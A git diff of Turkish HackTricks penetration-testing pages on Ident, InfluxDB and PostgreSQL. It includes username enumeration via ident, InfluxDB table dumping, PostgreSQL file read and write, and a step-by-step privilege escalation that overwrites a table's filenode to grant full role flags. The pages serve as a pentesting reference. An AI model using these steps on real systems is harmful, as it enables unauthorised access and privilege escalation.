<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**] (https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**The PEASS Ailesi**]'ni (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
[**Trickest**]'i kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen ve **iş akışlarını otomatikleştirmeyi** kolayca sağlayın.\
[**Trickest**]'i (https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %}
## Temel Bilgiler
**Ident Protokolü**, bir **TCP bağlantısını** belirli bir kullanıcıyla ilişkilendirmek için **İnternet** üzerinde kullanılır. Başlangıçta **ağ yönetimi** ve **güvenliğe** yardımcı olmak amacıyla tasarlanmış olup, bir sunucunun belirli bir TCP bağlantısının kullanıcısı hakkında bilgi talep etmek için port 113'te bir istekte bulunmasına izin vererek çalışır.
**Ident Protokolü**, bir **TCP bağlantısını** belirli bir kullanıcıyla ilişkilendirmek için **İnternet** üzerinde kullanılır. Başlangıçta **ağ yönetimi** ve **güvenlik** konularına yardımcı olmak amacıyla tasarlanmış olup, bir sunucunun belirli bir TCP bağlantısının kullanıcısı hakkında bilgi talep etmek için bir istemciyi 113 numaralı porta sorgulamasına izin vererek çalışır.
Ancak, modern gizlilik endişeleri ve kötüye kullanım potansiyeli nedeniyle, kullanımı yetkisiz taraflara kullanıcı bilgilerini yanlışlıkla açığa çıkarabileceğinden azalmıştır. Bu riskleri azaltmak için şifreli bağlantılar ve sıkı erişim kontrolleri gibi gelişmiş güvenlik önlemleri önerilmektedir.
@ -34,9 +34,9 @@ PORT STATE SERVICE
```
## **Sıralama**
### **Manuel - Kullanıcıyı Al/ Hizmeti Tanımla**
### **Manuel - Kullanıcıyı Al/Servisi Tanımla**
Eğer bir makine ident ve samba (445) servislerini çalıştırıyorsa ve samba'ya 43218 portunu kullanarak bağlıysanız, samba servisini çalıştıran kullanıcıyı aşağıdaki şekilde alabilirsiniz:
Bir makine ident ve samba (445) servislerini çalıştırıyorsa ve samba'ya 43218 numaralı portu kullanarak bağlıysanız, samba servisini çalıştıran kullanıcıyı aşağıdaki şekilde alabilirsiniz:
![](<../.gitbook/assets/image (843).png>)
@ -67,7 +67,7 @@ PORT STATE SERVICE VERSION
```
### Ident-user-enum
[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum), her TCP bağlantı noktasında dinleyen işlemin sahibini belirlemek için ident servisini (113/TCP) sorgulamak için basit bir PERL betiğidir. Toplanan kullanıcı adları listesi, diğer ağ servislerinde şifre tahmin saldırıları için kullanılabilir. `apt install ident-user-enum` komutu ile kurulabilir.
[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum), hedef sistemdeki her TCP portunu dinleyen işlemin sahibini belirlemek için ident servisini (113/TCP) sorgulamak için basit bir PERL betiğidir. Toplanan kullanıcı adları listesi, diğer ağ servislerinde şifre tahmin saldırıları için kullanılabilir. `apt install ident-user-enum` komutu ile kurulabilir.
```
root@kali:/opt/local/recon/192.168.1.100# ident-user-enum 192.168.1.100 22 113 139 445
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
@ -87,10 +87,10 @@ identd.conf
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışlarını** kolayca oluşturun ve **otomatikleştirin**.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve **otomatikleştirin**.\
Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %}
## HackTricks Otomatik Komutları
```
@ -117,10 +117,10 @@ Note: apt install ident-user-enum ident-user-enum {IP} 22 23 139 445 (try all
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**] (https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**] (https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**] (https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**] (https://twitter.com/hacktricks\_live)**.**
* **Hacking püf noktalarınızı paylaşın, PR'ler göndererek** [**HackTricks**] (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**] (https://github.com/carlospolop/hacktricks-cloud) github depolarına.
</details>

View file

@ -1,23 +1,23 @@
# 8086 - Pentesting InfluxDB
# 8086 - InfluxDB Pentesting
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve yönetin.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=8086-pentesting-influxdb) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=8086-pentesting-influxdb" %}
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
@ -33,7 +33,7 @@ PORT STATE SERVICE VERSION
```
## Sıralama
Bir pentester açısından, bu hassas bilgileri depolayabilecek başka bir veritabanı olduğundan, tüm bilgileri nasıl döküleceğini bilmek ilginç olabilir.
Bir pentester açısından bu hassas bilgileri depolayabilecek başka bir veritabanı olduğundan, tüm bilgileri nasıl döküleceğini bilmek ilginç olabilir.
### Kimlik Doğrulama
@ -43,7 +43,7 @@ InfluxDB kimlik doğrulaması gerektirebilir veya gerektirmeyebilir
influx -host 'host name' -port 'port #'
> use _internal
```
Eğer şöyle bir hata alırsanız: `ERR: kimlik doğrulama kimlik bilgilerini ayrıştıramıyor`, bu demek oluyor ki **bazı kimlik bilgileri bekliyor**.
Eğer bu şekilde bir hata alırsanız: `ERR: kimlik doğrulama kimlik bilgilerini ayrıştıramıyor` demek ki **bazı kimlik bilgilerini bekliyor**.
```
influx username influx password influx_pass
```
@ -66,7 +66,7 @@ _internal
```
#### Tablolar/Ölçümler Göster
[**InfluxDB belgeleri**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting\_started/), InfluxDB'deki **ölçümlerin** SQL tablolarıyla paralel olduğunu açıklar. Bu **ölçümlerin** isimlendirmesi, ilgili içeriğe işaret eder ve her biri belirli bir varlıkla ilgili verileri barındırır.
[**InfluxDB belgeleri**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting\_started/), InfluxDB'deki **ölçümlerin** SQL tablolarıyla paralel olduğunu açıklar. Bu **ölçümlerin** adlandırması, ilgili içeriğe işaret eder ve her biri belirli bir varlıkla ilgili verileri barındırır.
```bash
> show measurements
name: measurements
@ -106,7 +106,7 @@ inodes_used integer
```
#### Tabloyu Dök
Ve son olarak tabloyu dökmeniz gerekebilir, bunu şu şekilde yapabilirsiniz:
Ve son olarak tabloyu dökmeniz gerekebilir, bunun için şunu yapabilirsiniz:
```bash
select * from cpu
name: cpu
@ -116,23 +116,23 @@ time cpu host usage_guest usage_guest_nice usage_idle
1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101
```
{% hint style="warning" %}
Kimlik doğrulama atlatma testlerinde bazı testlerde tablo adının çift tırnaklar arasında olması gerektiği belirlendi: `select * from "cpu"`
Kimlik doğrulaması atlatma testlerinde bazı testlerde tablo adının çift tırnaklar arasında olması gerektiği belirlendi: `select * from "cpu"`
{% endhint %}
### Otomatik Kimlik Doğrulama
### Otomatik Kimlik Doğrulaması
```bash
msf6 > use auxiliary/scanner/http/influxdb_enum
```
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u **takip edin**.
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
@ -140,7 +140,7 @@ HackTricks'ı desteklemenin diğer yolları:
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=8086-pentesting-influxdb) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen ve **iş akışlarını otomatikleştiren** kolayca oluşturun.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=8086-pentesting-influxdb" %}

View file

@ -3,10 +3,10 @@
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %}
<details>
@ -14,17 +14,17 @@ Bugün Erişim Alın:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
## **Temel Bilgiler**
**PostgreSQL**, **açık kaynaklı** bir **nesne ilişkisel veritabanı sistemi** olarak tanımlanmaktadır. Bu sistem yalnızca SQL dilini kullanmakla kalmaz, aynı zamanda ek özelliklerle geliştirir. Yetenekleri geniş bir veri türü ve işlem yelpazesini ele almasına olanak tanır, bu da geliştiriciler ve organizasyonlar için çok yönlü bir seçim yapar.
**PostgreSQL**, **açık kaynaklı** bir **nesne ilişkisel veritabanı sistemi** olarak tanımlanmaktadır. Bu sistem sadece SQL dilini kullanmakla kalmaz, aynı zamanda ek özelliklerle geliştirir. Yetenekleri geniş bir veri türü ve işlem yelpazesini ele almasına olanak tanır, bu da geliştiriciler ve organizasyonlar için çok yönlü bir seçim yapar.
**Varsayılan port:** 5432 ve bu port zaten kullanımda ise postgresql muhtemelen kullanılmayan bir sonraki portu (muhtemelen 5433) kullanacaktır.
```
@ -72,10 +72,10 @@ SELECT * FROM pg_extension;
\s
```
{% hint style="warning" %}
Eğer **`\list`** komutunu çalıştırarak bir **`rdsadmin`** adında bir veritabanı bulursanız, içinde bir **AWS postgresql veritabanı** olduğunu bilirsiniz.
Eğer **`\list`** komutunu çalıştırırken **`rdsadmin`** adında bir veritabanı bulursanız, içinde bir **AWS postgresql veritabanı** olduğunu bilirsiniz.
{% endhint %}
Daha fazla bilgi için **bir PostgreSQL veritabanını nasıl kötüye kullanabileceğiniz** konusunda kontrol edin:
Daha fazla bilgi için **PostgreSQL veritabanını kötüye kullanma** hakkında kontrol edin:
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %}
[postgresql-injection](../pentesting-web/sql-injection/postgresql-injection/)
@ -99,9 +99,9 @@ password=secret
dbname=abc
connect_timeout=10');
```
* Ana bilgisayar kapalı
* Sunucu kapalı
```DETAIL: sunucuya bağlanılamadı: Ana bilgisayara yönlendirme yok. Sunucu, "1.2.3.4" ana bilgisayarında çalışıyor mu ve 5678 numaralı TCP/IP bağlantılarını kabul ediyor mu?```
```DETAIL: sunucuya bağlanılamadı: Ana bilgisayara yönlendirme yok Sunucu, "1.2.3.4" ana bilgisayarında çalışıyor mu ve 5678 numaralı bağlantıları kabul ediyor mu?```
* Port kapalı
```
@ -113,31 +113,40 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
```
veya
```markdown
### PostgreSQL Pentesting
#### PostgreSQL Pentesting Tools
PostgreSQL pentesting can be done using various tools such as:
- **Metasploit Framework**: Contains PostgreSQL modules for pentesting.
- **pgcli**: A command-line interface for PostgreSQL that can be used for testing.
- **sqlmap**: A popular tool for SQL injection testing that can be used against PostgreSQL databases.
- **Nmap**: Can be used to discover PostgreSQL services running on a network.
- **PostgreSQL Auditing Tools**: Tools like pgAudit can be used for auditing PostgreSQL databases for security vulnerabilities.
```
```
DETAIL: FATAL: password authentication failed for user "name"
```
* Port açık veya filtrelenmiş
* Port açık veya filtrelenmişdir
```
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
## Yetkilendirme Sıralaması
## Yetkilerin Sıralanması
### Roller
| Rol Türleri | |
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
| rolsuper | Rol süper kullanıcı ayrıcalıklarına sahiptir |
| rolinherit | Rol, üye olduğu rollerin ayrıcalıklarını otomatik olarak devralır |
| rolcreaterole | Rol, daha fazla rol oluşturabilir |
| rolcreatedb | Rol, veritabanları oluşturabilir |
| rolinherit | Rol, üyesi olduğu rollerin ayrıcalıklarını otomatik olarak devralır |
| rolcreaterole | Rol daha fazla rol oluşturabilir |
| rolcreatedb | Rol veritabanları oluşturabilir |
| rolcanlogin | Rol oturum açabilir. Yani, bu rol başlangıç oturum yetkilendirme kimliği olarak verilebilir |
| rolreplication | Rol, bir replikasyon rolüdür. Bir replikasyon rolü replikasyon bağlantıları başlatabilir ve replikasyon yuvaları oluşturabilir ve silebilir. |
| rolreplication | Rol bir replikasyon rolüdür. Bir replikasyon rolü replikasyon bağlantılarını başlatabilir ve replikasyon yuvaları oluşturabilir ve silebilir. |
| rolconnlimit | Oturum açabilen roller için, bu rolün yapabileceği eşzamanlı bağlantıların maksimum sayısını belirler. -1 sınırsız anlamına gelir. |
| rolpassword | Parola değil (`********` olarak her zaman okunur) |
| rolvaliduntil | Parola son kullanma zamanı (yalnızca parola kimlik doğrulaması için kullanılır); süresizse null |
| rolbypassrls | Rol, her satır düzeyinde güvenlik politikasını atlar, daha fazla bilgi için [Bölüm 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)'e bakın. |
| rolbypassrls | Rol her satır düzeyinde güvenlik politikasını atlar, daha fazla bilgi için [Bölüm 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)'e bakın. |
| rolconfig | Çalışma zamanı yapılandırma değişkenleri için rol özgü varsayılanlar |
| oid | Rol kimliği |
@ -272,7 +281,7 @@ GRANT pg_read_server_files TO username;
```
### Basit Dosya Yazma
Sadece **süper kullanıcılar** ve **`pg_write_server_files`** üyeleri kopyalama işlemini kullanarak dosya yazabilir.
Yalnızca **süper kullanıcılar** ve **`pg_write_server_files`** üyeleri kopyalama işlemini kullanarak dosya yazabilirler.
{% code overflow="wrap" %}
```sql
@ -285,9 +294,15 @@ Unutmayın ki eğer süper kullanıcı değilseniz ancak **`CREATEROLE`** izinle
```sql
GRANT pg_write_server_files TO username;
```
### **Binary dosyaların yüklenmesi**
[**Daha fazla bilgi.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}
Ancak, büyük binary dosyaları yüklemek için **başka teknikler bulunmaktadır:**
COPY'ın yeni satır karakterlerini işleyemediğini unutmayın, bu nedenle bir base64 yükü gönderiyor olsanız bile **bir satırlık bir komut göndermeniz gerekecektir**.\
Bu tekniğin çok önemli bir kısıtlaması şudur ki **`copy`, bazı ikili değerleri değiştirdiği için ikili dosyalar yazmak için kullanılamaz.**
### **İkili dosyaların yüklenmesi**
Ancak, **büyük ikili dosyaları yüklemek için başka teknikler bulunmaktadır:**
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %}
[big-binary-files-upload-postgresql.md](../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md)
@ -295,36 +310,36 @@ Ancak, büyük binary dosyaları yüklemek için **başka teknikler bulunmaktad
## <img src="../.gitbook/assets/i3.png" alt="" data-size="original">
**Hata ödülü ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan bir premium **hata ödülü platformu**! Bugün bize katılın [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) ve **$100,000**'a kadar ödüller kazanmaya başlayın!
**Hata ödülü ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan bir premium **hata ödülü platformuna**! Bugün bize [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinden katılın ve **100.000 $'a kadar ödüller kazanmaya** başlayın!
{% embed url="https://go.intigriti.com/hacktricks" %}
### PostgreSQL tablo verilerinin yerel dosya yazma yoluyla güncellenmesi
PostgreSQL sunucusu dosyalarını okuma ve yazma izinlerine sahipseniz, [PostgreSQL veri dizinindeki](https://www.postgresql.org/docs/8.1/storage.html) herhangi bir tabloyu **ilişkili dosya düğümünü üzerine yazarak** güncelleyebilirsiniz. Bu tekniğe ilişkin **daha fazla bilgi** [**burada**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
PostgreSQL sunucusu dosyalarını okuma ve yazma izinlerine sahipseniz, [PostgreSQL veri dizinindeki](https://www.postgresql.org/docs/8.1/storage.html) herhangi bir tabloyu **ilişkili dosya düğümünü üzerine yazarak** sunucuda güncelleyebilirsiniz. Bu tekniğe ilişkin **daha fazla bilgi** [**burada**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
Gerekli adımlar:
1. PostgreSQL veri dizinini alın
1. PostgreSQL veri dizinini alın
```sql
SELECT setting FROM pg_settings WHERE name = 'data_directory';
```
**Not:** Ayarlar üzerinden mevcut veri dizini yolunu alamıyorsanız, `SELECT version()` sorgusu aracılığıyla ana PostgreSQL sürümünü sorgulayabilir ve yolunuzu brute-force deneyebilirsiniz. PostgreSQL'un Unix kurulumlarında yaygın veri dizini yolları `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/` şeklindedir. Yaygın bir küme adı `main`dir.
2. Hedef tabloyla ilişkili dosya düğümüne göre göreceli bir yol alın
**Not:** Ayarlar üzerinden mevcut veri dizini yolunu alamıyorsanız, `SELECT version()` sorgusu aracılığıyla ana PostgreSQL sürümünü sorgulayabilir ve yolun brute-force yöntemiyle deneyebilirsiniz. PostgreSQL'un Unix kurulumlarında yaygın veri dizini yolları `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/` şeklindedir. Yaygın bir küme adı `main`dir.
2. Hedef tabloyla ilişkili dosya düğümüne göre göreceli bir yol alın
```sql
SELECT pg_relation_filepath('{TABLE_NAME}')
```
Bu sorgu `base/3/1337` gibi bir şey döndürmelidir. Diskteki tam yol `$DATA_DIRECTORY/base/3/1337`, yani `/var/lib/postgresql/13/main/base/3/1337` olacaktır.
3. `lo_*` fonksiyonları aracılığıyla dosya düğümünü indirin
Bu sorgu, `base/3/1337` gibi bir şey döndürmelidir. Diskteki tam yol `$DATA_DIRECTORY/base/3/1337`, yani `/var/lib/postgresql/13/main/base/3/1337` olacaktır.
3. `lo_*` fonksiyonları aracılığıyla dosya düğümünü indirin
```sql
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
```
4. Hedef tabloyla ilişkili veri türünü alın
4. Hedef tabloyla ilişkili veri türünü alın
```sql
SELECT
@ -345,20 +360,20 @@ JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
```
5. [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor)'ü kullanarak filenode'u düzenleyin; tüm `rol*` boolean bayraklarını tam izinler için 1 olarak ayarlayın.
5. [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor)'ü kullanarak [dosya düğümünü düzenleyin](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); tüm `rol*` boolean bayraklarını tam izinler için 1 olarak ayarlayın.
```bash
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
```
![PostgreSQL Filenode Editor Demo](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo\_datatype.gif)
6. Düzenlenmiş filenode'u `lo_*` fonksiyonları aracılığıyla yeniden yükleyin ve diske orijinal dosyayı üzerine yazın
